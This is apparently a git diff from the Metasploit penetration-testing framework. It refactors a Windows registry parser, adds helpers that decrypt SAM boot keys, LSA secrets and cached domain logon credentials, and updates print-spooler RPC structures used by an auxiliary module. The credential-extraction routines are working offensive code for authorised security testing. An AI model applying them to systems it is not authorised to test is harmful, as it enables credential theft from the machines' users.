|
||||
# @param sub_key [String] The sub key to look for under parent_key
|
||||
# @return [RegHbinBlock, nil] The key, if found, nil otherwise
|
||||
# @raise [ArgumentError] If the parent key is not a NK record
|
||||
def find_sub_key(parent_key, sub_key)
|
||||
unless parent_key&.data&.magic == NK_MAGIC
|
||||
raise ArgumentError, "find_sub_key: parent key must be a NK record"
|
||||
|
@ -245,7 +300,7 @@ module Util
|
|||
# Let's search the hash records for the name
|
||||
blocks.each do |block|
|
||||
block.data.hash_records.each do |hash_record|
|
||||
res = compare_hash(block.data.magic, hash_record, sub_key)
|
||||
res = get_offset(block.data.magic, hash_record, sub_key)
|
||||
if res
|
||||
nk = get_block(res)
|
||||
return nk if nk.data.key_name == sub_key
|
||||
|
@ -256,11 +311,21 @@ module Util
|
|||
nil
|
||||
end
|
||||
|
||||
# Returns a registry block given its offset
|
||||
#
|
||||
# @param offset [String] The offset of the block
|
||||
# @return [RegHbinBlock] The registry block
|
||||
def get_block(offset)
|
||||
RegHbinBlock.read(@hive_data[4096+offset..-1])
|
||||
end
|
||||
|
||||
def compare_hash(magic, hash_rec, key)
|
||||
# Returns the offset of a given subkey in a hash record
|
||||
#
|
||||
# @param magic [Integer] The signtaure (MAGIC)
|
||||
# @param hash_rec [Integer] The hash record
|
||||
# @param key [Integer] The subkey to look for
|
||||
# @return [Integer] The offset of the subkey
|
||||
def get_offset(magic, hash_rec, key)
|
||||
case magic
|
||||
when LF_MAGIC
|
||||
if hash_rec.key_name.gsub(/(^\x00*)|(\x00*$)/, '') == key[0,4]
|
||||
|
@ -280,7 +345,11 @@ module Util
|
|||
end
|
||||
end
|
||||
|
||||
# 'lh' Subkey-List Hash Algorithm (from http://www.sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf (Appendix C))
|
||||
# Returns the hash of a LH subkey
|
||||
# from http://www.sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf (Appendix C)
|
||||
#
|
||||
# @param key [Integer] The LH subkey
|
||||
# @return [Integer] The hash
|
||||
def get_lh_hash(key)
|
||||
res = 0
|
||||
key.upcase.bytes do |byte|
|
||||
|
@ -290,6 +359,11 @@ module Util
|
|||
return res % 0x100000000
|
||||
end
|
||||
|
||||
# Returns a list of `count``value blocks from the offsets located at `offset`
|
||||
#
|
||||
# @param offset [Integer] The offset where the offsets of each value is located
|
||||
# @param count [Integer] The number of value blocks to retrieve
|
||||
# @return [Array] An array of registry blocks
|
||||
def get_value_blocks(offset, count)
|
||||
value_list = []
|
||||
res = []
|
||||
|
@ -305,6 +379,11 @@ module Util
|
|||
return res
|
||||
end
|
||||
|
||||
# Returns the data of a VK record value
|
||||
#
|
||||
# @param record [String] The VK record
|
||||
# @return [String] The data
|
||||
# @raise [ArgumentError] If the parent key is not a VK record
|
||||
def get_value_data(record)
|
||||
unless record&.magic == VK_MAGIC
|
||||
raise ArgumentError, "get_value_data: record must be a VK record"
|
||||
|
@ -315,12 +394,27 @@ module Util
|
|||
return self.get_data(record.offset_data, record.data_len + 4)
|
||||
end
|
||||
|
||||
# Returns the data at a given offset from the end of the header in the raw
|
||||
# hive binary.
|
||||
#
|
||||
# @param offset [String] The offset from the end of the header
|
||||
# @param count [Integer] The size of the data. Since the 4 first bytes are
|
||||
# ignored, the data returned will be (count - 4) long.
|
||||
# @return [String] The resulting data
|
||||
def get_data(offset, count)
|
||||
@hive_data[4096+offset, count][4..-1]
|
||||
end
|
||||
|
||||
def enum_key(parent_key)
|
||||
unless parent_key&.data&.magic == NK_MAGIC
|
||||
# Enumerate the subkey names under `key`
|
||||
#
|
||||
# @param key [String] The parent key from which to enumerate
|
||||
# @return [Array] The key names
|
||||
# @raise [ArgumentError] If the parent key is not a NK record
|
||||
def enum_key(key)
|
||||
parent_key = find_key(key)
|
||||
return nil unless parent_key
|
||||
|
||||
unless parent_key.data&.magic == NK_MAGIC
|
||||
raise ArgumentError, "enum_key: parent key must be a NK record"
|
||||
end
|
||||
block = get_block(parent_key.data.offset_sub_key_lf)
|
||||
|
@ -341,12 +435,20 @@ module Util
|
|||
end
|
||||
end
|
||||
|
||||
# Enumerate the subkey values under `key`
|
||||
#
|
||||
# @param key [String] The parent key from which to enumerate
|
||||
# @return [Array] The key values
|
||||
# @raise [ArgumentError] If the parent key is not a NK record
|
||||
def enum_values(key)
|
||||
unless key&.data&.magic == NK_MAGIC
|
||||
key_obj = find_key(key)
|
||||
return nil unless key_obj
|
||||
|
||||
unless key_obj&.data&.magic == NK_MAGIC
|
||||
raise ArgumentError, "enum_values: key must be a NK record"
|
||||
end
|
||||
res = []
|
||||
value_list = get_value_blocks(key.data.offset_value_list, key.data.num_values + 1)
|
||||
value_list = get_value_blocks(key_obj.data.offset_value_list, key_obj.data.num_values + 1)
|
||||
value_list.each do |value|
|
||||
res << (value.data.flag > 0 ? value.data.name : nil)
|
||||
end
|
||||
|
@ -357,3 +459,5 @@ module Util
|
|||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,92 @@
|
|||
module Msf
|
||||
module Util
|
||||
module WindowsRegistry
|
||||
|
||||
#
|
||||
# This module include helpers for the SAM hive
|
||||
#
|
||||
module Sam
|
||||
|
||||
# Returns the HashedBootKey from a given BootKey.
|
||||
#
|
||||
# @param boot_key [String] The BootKey
|
||||
# @return [String] The HashedBootKey or an empty string if the revision
|
||||
# number is unknown
|
||||
def get_hboot_key(boot_key)
|
||||
qwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||
digits = "0123456789012345678901234567890123456789\0"
|
||||
|
||||
_value_type, value_data = get_value('SAM\\Domains\\Account', 'F')
|
||||
revision = value_data[0x68, 4].unpack('V')[0]
|
||||
case revision
|
||||
when 1
|
||||
hash = Digest::MD5.new
|
||||
hash.update(value_data[0x70, 16] + qwerty + boot_key + digits)
|
||||
rc4 = OpenSSL::Cipher.new('rc4')
|
||||
rc4.decrypt
|
||||
rc4.key = hash.digest
|
||||
hboot_key = rc4.update(value_data[0x80, 32])
|
||||
hboot_key << rc4.final
|
||||
hboot_key
|
||||
when 2
|
||||
aes = OpenSSL::Cipher.new('aes-128-cbc')
|
||||
aes.decrypt
|
||||
aes.key = boot_key
|
||||
aes.padding = 0
|
||||
aes.iv = value_data[0x78, 16]
|
||||
aes.update(value_data[0x88, 16]) # we need only 16 bytes
|
||||
else
|
||||
elog("[Msf::Util::WindowsRegistry::Sam::get_hboot_key] Unknown hbootKey revision: #{revision}")
|
||||
''.b
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the `Users` key information under HKLM\SAM\Domains\Account\Users.
|
||||
# This includes the RID, name and `V` value for each user.
|
||||
#
|
||||
# @return [Hash] A hash with the following structure:
|
||||
# {
|
||||
# <User RID>: { V: <V value>, Name: <User name> },
|
||||
# ...
|
||||
# }
|
||||
def get_user_keys
|
||||
users = {}
|
||||
users_key = 'SAM\\Domains\\Account\\Users'
|
||||
rids = enum_key(users_key)
|
||||
if rids
|
||||
rids.delete('Names')
|
||||
|
||||
rids.each do |rid|
|
||||
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'V')
|
||||
users[rid.to_i(16)] ||= {}
|
||||
users[rid.to_i(16)][:V] = value_data
|
||||
|
||||
# Attempt to get Hints
|
||||
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'UserPasswordHint')
|
||||
next unless value_data
|
||||
|
||||
users[rid.to_i(16)][:UserPasswordHint] =
|
||||
value_data.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8).strip
|
||||
end
|
||||
end
|
||||
|
||||
# Retrieve the user names for each RID
|
||||
# TODO: use a proper structure to do this, since the user names are included in V data
|
||||
names = enum_key("#{users_key}\\Names")
|
||||
if names
|
||||
names.each do |name|
|
||||
value_type, _value_data = get_value("#{users_key}\\Names\\#{name}", '')
|
||||
users[value_type] ||= {}
|
||||
# Apparently, key names are ISO-8859-1 encoded
|
||||
users[value_type][:Name] = name.dup.force_encoding(::Encoding::ISO_8859_1).encode(::Encoding::UTF_8)
|
||||
end
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,242 @@
|
|||
require 'ruby_smb'
|
||||
|
||||
module Msf
|
||||
module Util
|
||||
module WindowsRegistry
|
||||
|
||||
#
|
||||
# This module include helpers for the SECURITY hive
|
||||
#
|
||||
module Security
|
||||
|
||||
include Msf::Util::WindowsCryptoHelpers
|
||||
|
||||
# All of these structures were taken from Impacket secretsdump.py
|
||||
class CacheData < BinData::Record
|
||||
mandatory_parameter :user_name_length
|
||||
mandatory_parameter :domain_name_length
|
||||
mandatory_parameter :dns_domain_name_length
|
||||
mandatory_parameter :upn_length
|
||||
mandatory_parameter :effective_name_length
|
||||
mandatory_parameter :full_name_length
|
||||
mandatory_parameter :logon_script_length
|
||||
mandatory_parameter :profile_path_length
|
||||
mandatory_parameter :home_directory_length
|
||||
mandatory_parameter :home_directory_drive_length
|
||||
mandatory_parameter :group_count
|
||||
mandatory_parameter :logon_domain_name_length
|
||||
|
||||
endian :little
|
||||
|
||||
string :enc_hash, length: 16
|
||||
string :unknown, length: 56
|
||||
string16 :username, length: -> { user_name_length }, byte_align: 4
|
||||
string16 :domain_name, length: -> { domain_name_length }, byte_align: 4
|
||||
string16 :dns_domain_name, length: -> { dns_domain_name_length }, byte_align: 4
|
||||
string16 :upn, length: -> { upn_length }, byte_align: 4
|
||||
string16 :effective_name, length: -> { effective_name_length }, byte_align: 4
|
||||
string16 :full_name, length: -> { full_name_length }, byte_align: 4
|
||||
string16 :logon_script, length: -> { logon_script_length }, byte_align: 4
|
||||
string16 :profile_path, length: -> { profile_path_length }, byte_align: 4
|
||||
string16 :home_directory, length: -> { home_directory_length }, byte_align: 4
|
||||
string16 :home_directory_drive, length: -> { home_directory_drive_length }, byte_align: 4
|
||||
array :groups, initial_length: -> { group_count }, byte_align: 4 do
|
||||
uint32 :relative_id
|
||||
uint32 :attributes
|
||||
end
|
||||
string16 :logon_domain_name, length: -> { logon_domain_name_length }, byte_align: 4
|
||||
end
|
||||
|
||||
class CacheEntry < BinData::Record
|
||||
endian :little
|
||||
|
||||
uint16 :user_name_length
|
||||
uint16 :domain_name_length
|
||||
uint16 :effective_name_length
|
||||
uint16 :full_name_length
|
||||
uint16 :logon_script_length
|
||||
uint16 :profile_path_length
|
||||
uint16 :home_directory_length
|
||||
uint16 :home_directory_drive_length
|
||||
uint32 :user_id
|
||||
uint32 :primary_group_id
|
||||
uint32 :group_count
|
||||
uint16 :logon_domain_name_length
|
||||
uint16 :logon_domain_id_length
|
||||
file_time :last_access
|
||||
uint32 :revision
|
||||
uint32 :sid_count
|
||||
uint16 :valid
|
||||
uint16 :iteration_count
|
||||
uint32 :sif_length
|
||||
uint32 :logon_package
|
||||
uint16 :dns_domain_name_length
|
||||
uint16 :upn_length
|
||||
string :iv, length: 16
|
||||
string :ch, length: 16
|
||||
array :enc_data, type: :uint8, read_until: :eof
|
||||
end
|
||||
|
||||
attr_accessor :lsa_vista_style
|
||||
|
||||
# Retrieve the decrypted LSA secret key from a given BootKey. This also sets
|
||||
# the @lsa_vista_style attributes according to the registry keys found
|
||||
# under `HKLM\SECURTY\Policy`. If set to `true`, the system version is
|
||||
# Windows Vista and above, otherwise it is Windows XP or below.
|
||||
#
|
||||
# @param boot_key [String] The BootKey
|
||||
# @return [String] The decrypted LSA secret key
|
||||
def lsa_secret_key(boot_key)
|
||||
# vprint_status('Getting PolEKList...')
|
||||
_value_type, value_data = get_value('\\Policy\\PolEKList')
|
||||
if value_data
|
||||
# Vista or above system
|
||||
@lsa_vista_style = true
|
||||
|
||||
lsa_key = decrypt_lsa_data(value_data, boot_key)
|
||||
lsa_key = lsa_key[68, 32] unless lsa_key.empty?
|
||||
else
|
||||
# vprint_status('Getting PolSecretEncryptionKey...')
|
||||
_value_type, value_data = get_value('\\Policy\\PolSecretEncryptionKey')
|
||||
# If that didn't work, then we're out of luck
|
||||
return nil if value_data.nil?
|
||||
|
||||
# XP or below system
|
||||
@lsa_vista_style = false
|
||||
|
||||
md5x = Digest::MD5.new
|
||||
md5x << boot_key
|
||||
1000.times do
|
||||
md5x << value_data[60, 16]
|
||||
end
|
||||
|
||||
rc4 = OpenSSL::Cipher.new('rc4')
|
||||
rc4.decrypt
|
||||
rc4.key = md5x.digest
|
||||
lsa_key = rc4.update(value_data[12, 48])
|
||||
lsa_key << rc4.final
|
||||
lsa_key = lsa_key[0x10..0x1F]
|
||||
end
|
||||
|
||||
lsa_key
|
||||
end
|
||||
|
||||
# Returns the decrypted LSA secrets under HKLM\SECURTY\Policy\Secrets. For
|
||||
# this, the LSA secret key must be provided, which can be retrieved with
|
||||
# the #lsa_secret_key method.
|
||||
#
|
||||
# @param lsa_key [String] The LSA secret key
|
||||
# @return [Hash] A hash containing the LSA secrets.
|
||||
def lsa_secrets(lsa_key)
|
||||
keys = enum_key('\\Policy\\Secrets')
|
||||
return unless keys
|
||||
|
||||
keys.delete('NL$Control')
|
||||
|
||||
keys.each_with_object({}) do |key, lsa_secrets|
|
||||
# vprint_status("Looking into #{key}")
|
||||
_value_type, value_data = get_value("\\Policy\\Secrets\\#{key}\\CurrVal")
|
||||
encrypted_secret = value_data
|
||||
next unless encrypted_secret
|
||||
|
||||
if @lsa_vista_style
|
||||
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
|
||||
secret_size = decrypted[0, 4].unpack('<L').first
|
||||
secret = decrypted[16, secret_size]
|
||||
else
|
||||
encrypted_secret_size = encrypted_secret[0, 4].unpack('<L').first
|
||||
secret = decrypt_secret_data(encrypted_secret[(encrypted_secret.size - encrypted_secret_size)..-1], lsa_key)
|
||||
end
|
||||
lsa_secrets[key] = secret
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the decrypted NLKM secret key from
|
||||
# HKLM\SECURTY\Policy\Secrets\NL$KM\CurrVal. For this, the LSA secret key
|
||||
# must be provided, which can be retrieved with the #lsa_secret_key method.
|
||||
#
|
||||
# @param lsa_key [String] The LSA secret key
|
||||
# @return [String] The NLKM secret key
|
||||
def nlkm_secret_key(lsa_key)
|
||||
_value_type, value_data = get_value('\\Policy\\Secrets\\NL$KM\\CurrVal')
|
||||
return nil unless value_data
|
||||
|
||||
if @lsa_vista_style
|
||||
nlkm_dec = decrypt_lsa_data(value_data, lsa_key)
|
||||
else
|
||||
value_data_size = value_data[0, 4].unpack('<L').first
|
||||
nlkm_dec = decrypt_secret_data(value_data[(value_data.size - value_data_size)..-1], lsa_key)
|
||||
end
|
||||
|
||||
nlkm_dec
|
||||
end
|
||||
|
||||
# This structure consolidates Cache data and information, as retrieved by the #cached_infos method
|
||||
CacheInfo = Struct.new(
|
||||
:name,
|
||||
:iteration_count,
|
||||
:real_iteration_count,
|
||||
:entry, # CacheEntry structure
|
||||
:data, # CacheData structure
|
||||
keyword_init: true
|
||||
)
|
||||
|
||||
# Returns the decrypted Cache data and information from HKLM\Cache. For
|
||||
# this, the NLKM secret key must be provided, which can be retrieved with
|
||||
# the #nlkm_secret_key method.
|
||||
#
|
||||
# @param nlkm_key [String] The NLKM secret key
|
||||
# @return [Array] An array of CacheInfo structures containing the Cache information
|
||||
def cached_infos(nlkm_key)
|
||||
values = enum_values('\\Cache')
|
||||
unless values
|
||||
elog('[Msf::Util::WindowsRegistry::Sam::cached_hashes] No cashed entries')
|
||||
return
|
||||
end
|
||||
|
||||
values.delete('NL$Control')
|
||||
|
||||
iteration_count = nil
|
||||
if values.delete('NL$IterationCount')
|
||||
_value_type, value_data = reg_parser.get_value('\\Cache', 'NL$IterationCount')
|
||||
iteration_count = value_data.to_i
|
||||
end
|
||||
|
||||
values.map do |value|
|
||||
_value_type, value_data = get_value('\\Cache', value)
|
||||
cache = CacheEntry.read(value_data)
|
||||
|
||||
cache_info = CacheInfo.new(name: value, entry: cache)
|
||||
|
||||
next cache_info unless cache.user_name_length > 0
|
||||
|
||||
enc_data = cache.enc_data.map(&:chr).join
|
||||
if @lsa_vista_style
|
||||
dec_data = decrypt_aes(enc_data, nlkm_key[16...32], cache.iv)
|
||||
else
|
||||
dec_data = decrypt_hash(enc_data, nlkm_key, cache.iv)
|
||||
end
|
||||
|
||||
params = cache.snapshot.to_h.select { |key, _v| key.to_s.end_with?('_length') }
|
||||
params[:group_count] = cache.group_count
|
||||
cache_data = CacheData.new(params).read(dec_data)
|
||||
cache_info.data = cache_data
|
||||
|
||||
if @lsa_vista_style
|
||||
cache_info.iteration_count = iteration_count ? iteration_count : cache.iteration_count
|
||||
if (cache_info.iteration_count > 10240)
|
||||
cache_info.real_iteration_count = cache_info.iteration_count & 0xfffffc00
|
||||
else
|
||||
cache_info.real_iteration_count = cache_info.iteration_count * 1024
|
||||
end
|
||||
end
|
||||
|
||||
cache_info
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -140,7 +140,7 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'ed25519' # Adds ed25519 keys for net-ssh
|
||||
spec.add_runtime_dependency 'bcrypt_pbkdf'
|
||||
spec.add_runtime_dependency 'ruby_smb', '~> 2.0'
|
||||
spec.add_runtime_dependency 'ruby_smb', '~> 3.0'
|
||||
spec.add_runtime_dependency 'net-ldap'
|
||||
spec.add_runtime_dependency 'winrm'
|
||||
|
||||
|
|
|
@ -30,45 +30,30 @@ module PrintSystem
|
|||
APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000
|
||||
|
||||
# [2.2.1.5.2 DRIVER_INFO_2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2)
|
||||
class DriverInfo2 < BinData::Record
|
||||
class DriverInfo2 < RubySMB::Dcerpc::Ndr::NdrStruct
|
||||
default_parameter byte_align: 4
|
||||
endian :little
|
||||
|
||||
uint32 :c_version
|
||||
uint32 :p_name_ref_id
|
||||
uint32 :p_environment_ref_id
|
||||
uint32 :p_driver_path_ref_id
|
||||
uint32 :p_data_file_ref_id
|
||||
uint32 :p_config_file_ref_id
|
||||
ndr_string :p_name, only_if: -> { p_name_ref_id != 0 }
|
||||
string :pad1, length: -> { pad_length(p_name) }
|
||||
ndr_string :p_environment, only_if: -> { p_name_ref_id != 0 }
|
||||
string :pad2, length: -> { pad_length(p_environment) }
|
||||
ndr_string :p_driver_path, only_if: -> { p_name_ref_id != 0 }
|
||||
string :pad3, length: -> { pad_length(p_driver_path) }
|
||||
ndr_string :p_data_file, only_if: -> { p_name_ref_id != 0 }
|
||||
string :pad4, length: -> { pad_length(p_data_file) }
|
||||
ndr_string :p_config_file, only_if: -> { p_name_ref_id != 0 }
|
||||
string :pad5, length: -> { pad_length(p_config_file) }
|
||||
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
ndr_uint32 :c_version
|
||||
ndr_wide_stringz_ptr :p_name
|
||||
ndr_wide_stringz_ptr :p_environment
|
||||
ndr_wide_stringz_ptr :p_driver_path
|
||||
ndr_wide_stringz_ptr :p_data_file
|
||||
ndr_wide_stringz_ptr :p_config_file
|
||||
end
|
||||
|
||||
class PDriverInfo2 < RubySMB::Dcerpc::Ndr::NdrPointer
|
||||
endian :little
|
||||
|
||||
driver_info2 :referent, onlyif: -> { referent_id != 0 }
|
||||
class PDriverInfo2 < DriverInfo2
|
||||
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
|
||||
end
|
||||
|
||||
# [2.2.1.2.3 DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2)
|
||||
class DriverContainer < BinData::Record
|
||||
class DriverContainer < RubySMB::Dcerpc::Ndr::NdrStruct
|
||||
default_parameter byte_align: 4
|
||||
endian :little
|
||||
|
||||
uint32 :level, check_value: -> { [2].include?(value) }
|
||||
uint32 :tag
|
||||
choice :driver_info, selection: :level do
|
||||
ndr_uint32 :level, check_value: -> { [2].include?(value) }
|
||||
ndr_uint32 :tag
|
||||
choice :driver_info, selection: :level, byte_align: 4 do
|
||||
p_driver_info2 2
|
||||
end
|
||||
end
|
||||
|
@ -79,23 +64,14 @@ module PrintSystem
|
|||
|
||||
endian :little
|
||||
|
||||
ndr_lp_str :p_name
|
||||
string :pad1, length: -> { pad_length(p_name) }
|
||||
driver_container :p_driver_container
|
||||
string :pad2, length: -> { pad_length(p_driver_container) }
|
||||
uint32 :dw_file_copy_flags
|
||||
ndr_wide_stringz_ptr :p_name
|
||||
driver_container :p_driver_container
|
||||
ndr_uint32 :dw_file_copy_flags
|
||||
|
||||
def initialize_instance
|
||||
super
|
||||
@opnum = RPC_ADD_PRINTER_DRIVER_EX
|
||||
end
|
||||
|
||||
# Determines the correct length for the padding, so that the next
|
||||
# field is 4-byte aligned.
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
end
|
||||
|
||||
# [3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)
|
||||
|
@ -113,10 +89,9 @@ module PrintSystem
|
|||
end
|
||||
|
||||
# for RpcEnumPrinterDrivers and RpcGetPrinterDriverDirectory `BYTE*` fields
|
||||
class NdrLpLpByte < RubySMB::Dcerpc::Ndr::NdrPointer
|
||||
endian :little
|
||||
|
||||
ndr_lp_byte :referent, onlyif: -> { referent_id != 0 }
|
||||
class RprnByteArrayPtr < RubySMB::Dcerpc::Ndr::NdrConfArray
|
||||
default_parameters type: :ndr_uint8
|
||||
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
|
||||
end
|
||||
|
||||
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
|
||||
|
@ -130,21 +105,11 @@ module PrintSystem
|
|||
@opnum = RPC_ENUM_PRINTER_DRIVERS
|
||||
end
|
||||
|
||||
ndr_lp_str :p_name
|
||||
string :pad1, length: -> { pad_length(p_name) }
|
||||
ndr_lp_str :p_environment
|
||||
string :pad2, length: -> { pad_length(p_environment) }
|
||||
uint32 :level
|
||||
ndr_lp_lp_byte :p_drivers
|
||||
string :pad3, length: -> { pad_length(p_drivers) }
|
||||
uint32 :cb_buf
|
||||
|
||||
# Determines the correct length for the padding, so that the next
|
||||
# field is 4-byte aligned.
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
ndr_wide_stringz_ptr :p_name
|
||||
ndr_wide_stringz_ptr :p_environment
|
||||
ndr_uint32 :level
|
||||
rprn_byte_array_ptr :p_drivers
|
||||
ndr_uint32 :cb_buf
|
||||
end
|
||||
|
||||
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
|
||||
|
@ -158,18 +123,10 @@ module PrintSystem
|
|||
@opnum = RPC_ENUM_PRINTER_DRIVERS
|
||||
end
|
||||
|
||||
ndr_lp_lp_byte :p_drivers
|
||||
string :pad1, length: -> { pad_length(p_drivers) }
|
||||
uint32 :pcb_needed
|
||||
uint32 :pc_returned
|
||||
uint32 :error_status
|
||||
|
||||
# Determines the correct length for the padding, so that the next
|
||||
# field is 4-byte aligned.
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
rprn_byte_array_ptr :p_drivers
|
||||
ndr_uint32 :pcb_needed
|
||||
ndr_uint32 :pc_returned
|
||||
ndr_uint32 :error_status
|
||||
end
|
||||
|
||||
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
|
||||
|
@ -183,21 +140,11 @@ module PrintSystem
|
|||
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
|
||||
end
|
||||
|
||||
ndr_lp_str :p_name
|
||||
string :pad1, length: -> { pad_length(p_name) }
|
||||
ndr_lp_str :p_environment
|
||||
string :pad2, length: -> { pad_length(p_environment) }
|
||||
uint32 :level
|
||||
ndr_lp_lp_byte :p_driver_directory
|
||||
string :pad3, length: -> { pad_length(p_driver_directory) }
|
||||
uint32 :cb_buf
|
||||
|
||||
# Determines the correct length for the padding, so that the next
|
||||
# field is 4-byte aligned.
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
ndr_wide_stringz_ptr :p_name
|
||||
ndr_wide_stringz_ptr :p_environment
|
||||
ndr_uint32 :level
|
||||
rprn_byte_array_ptr :p_driver_directory
|
||||
ndr_uint32 :cb_buf
|
||||
end
|
||||
|
||||
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
|
||||
|
@ -211,17 +158,9 @@ module PrintSystem
|
|||
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
|
||||
end
|
||||
|
||||
ndr_lp_lp_byte :p_driver_directory
|
||||
string :pad1, length: -> { pad_length(p_driver_directory) }
|
||||
uint32 :pcb_needed
|
||||
uint32 :error_status
|
||||
|
||||
# Determines the correct length for the padding, so that the next
|
||||
# field is 4-byte aligned.
|
||||
def pad_length(prev_element)
|
||||
offset = (prev_element.abs_offset + prev_element.to_binary_s.length) % 4
|
||||
(4 - offset) % 4
|
||||
end
|
||||
rprn_byte_array_ptr :p_driver_directory
|
||||
ndr_uint32 :pcb_needed
|
||||
ndr_uint32 :error_status
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -406,14 +345,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
|
||||
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
|
||||
DriverInfo2.read(response.p_drivers.referent.value.map(&:chr).join)
|
||||
DriverInfo2.read(response.p_drivers.map(&:chr).join)
|
||||
end
|
||||
|
||||
def get_printer_driver_directory(environment)
|
||||
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
|
||||
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
|
||||
RubySMB::Field::Stringz16.read(response.p_driver_directory.referent.value.map(&:chr).join).encode('ASCII-8BIT')
|
||||
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
|
||||
end
|
||||
|
||||
def add_printer_driver_ex(container)
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -21,91 +21,6 @@ RSpec.describe Msf::Post::Windows::Priv do
|
|||
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
|
||||
end
|
||||
|
||||
# For Vista and newer
|
||||
describe "#decrypt_lsa_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
|
||||
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
|
||||
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
|
||||
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
|
||||
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
|
||||
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:lsa_key) do
|
||||
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
|
||||
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
|
||||
end
|
||||
let(:plaintext) do
|
||||
# Length of actual data?
|
||||
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
# Unicode msfadmin
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
|
||||
# As far as I can tell, the rest of the data is gibberish?
|
||||
# Possibly random padding, since plaintext seems to always be a
|
||||
# multiple of 16 bytes.
|
||||
